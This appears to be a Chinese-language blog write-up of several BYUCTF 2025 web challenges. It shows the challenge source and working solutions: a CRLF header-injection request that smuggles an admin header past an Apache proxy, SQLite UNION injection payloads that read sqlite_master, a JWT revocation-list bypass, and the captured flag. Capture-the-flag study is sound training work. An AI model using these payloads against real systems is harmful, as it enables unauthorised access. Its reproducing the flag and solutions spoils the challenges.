byuctf


Willy Wonka Web

// imports
const express = require('express');
const fs = require('fs');

// initializations
const app = express()
const FLAG = fs.readFileSync('flag.txt', { encoding: 'utf8', flag: 'r' }).trim()
const PORT = 3000

// endpoints
app.get('/', async (req, res) => {
    if (req.header('a') && req.header('a') === 'admin') {
        return res.send(FLAG);
    }
    return res.send('Hello '+req.query.name.replace("<","").replace(">","")+'!');
});

// start server
app.listen(PORT, async () => {
    console.log(`Listening on ${PORT}`)
});
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

<VirtualHost *:80>

    ServerName localhost
    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on
    RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
    ProxyPassReverse "/name/" "http://backend:3000/"

    RequestHeader unset A
    RequestHeader unset a

</VirtualHost>

CTF题型 Http2降级走私原理分析&例题分享 | J1rrY’s Blog

https://blog.csdn.net/qq_44655084/article/details/147650222

https://forum.butian.net/share/2180

https://zhuanlan.zhihu.com/p/21659871184

GET /name/2%20HTTP/1.1%0d%0aa:%20admin%0d%0aHost:%20wonka.chal.cyberjousting.com HTTP/2
Host: wonka.chal.cyberjousting.com

应该是协议层差异导致的。TTP/1.1 是基于文本的协议,其请求和响应通过简单的换行符(\r\n)分隔。but HTTP/2 是二进制协议,通过帧和流机制传输数据。无法通过注入 \r\n 伪造多个请求,因为每个帧必须符合严格的二进制格式。CVE-2023-25690恰好也是用的HTTP 1.1。查了查HTTP 2走私另有方法(比如把它降级成HTTP1.1)


https://github.com/BYU-CSA/BYUCTF-2025/blob/main/web/cooking_flask/Writeup.md

https://github.com/BYU-CSA/BYUCTF-2025/tree/main/web/jwtf

SELECT something something FROM something something WHERE ('%"`
`"%')UNION SELECT name,'','','','','','','' from sqlite_master
--`"%') something something;


SELECT 0,sql,'1960-01-01',3,'4','5','[]',7 FROM sqlite_master WHERE type='table' AND name='user'

源码:

from flask import Flask, request, redirect, make_response, jsonify
import jwt, os


app = Flask(__name__)
FLAG = 'flag'
APP_SECRET = os.urandom(32).hex()
ADMIN_SECRET = os.urandom(32).hex()
print(f'ADMIN_SECRET: {ADMIN_SECRET}')

jrl = [
    jwt.encode({"admin": True, "uid": '1337'}, APP_SECRET, algorithm="HS256")
]

@app.route('/', methods=['GET'])
def main():
    resp = make_response('Hello World!')
    resp.set_cookie('session', jwt.encode({"admin": False}, APP_SECRET, algorithm="HS256"))
    return resp

@app.route('/get_admin_cookie', methods=['GET'])
def get_admin_cookie():
    secret = request.args.get('adminsecret', None)
    uid = request.args.get('uid', None)

    if secret is None or uid is None or uid == '1337':
        return redirect('/')

    if secret == ADMIN_SECRET:
        resp = make_response('Cookie has been set.')
        resp.set_cookie('session', jwt.encode({"admin": True, "uid": uid}, APP_SECRET, algorithm="HS256"))
        return resp
@app.route('/flag', methods=['GET'])
def flag():
    session = request.cookies.get('session', None).strip().replace('=','')

    if session is None:
        return ('none')

    # check if the session is in the JRL
    if session in jrl:
        return ('repeating')

    try:
        payload = jwt.decode(session, APP_SECRET, algorithms=["HS256"])
        if payload['admin'] == True:
            return FLAG
        else:
            return ('admin.bug')
    except:
        return ('try.bug')
@app.route('/jrl', methods=['GET'])
def jrl_endpoint():
    return jsonify(jrl)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337, threaded=True)

我们已知一个jrl,关键在于/flag路由如何进行绕过,猜想这就是题目考察的地方
如何绕过呢?
如果没有删去=,可以在末尾加上=;还有其他方法吗,想起了base64和base64url(二者不可混为一谈)

base64编码结果中会有+、/、=三个特殊字符,它们在url中属于特殊字符是直接无法传递的;
base64url其实就是把字符中的'+'和'/'分别替换成'-'和'_',另外把末尾填充的‘=’去掉;其他都一样。

什么意思
/jrl得到eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri_IxNoi33q-TRLbHV-ew
我们只需/flag下session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri/IxNoi33q-TRLbHV-ew
没错,只用_改成/就行

得到flag

byuctf{idk_if_this_means_anything_but_maybe_its_useful_somewhere_97ba5a70d94d}


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录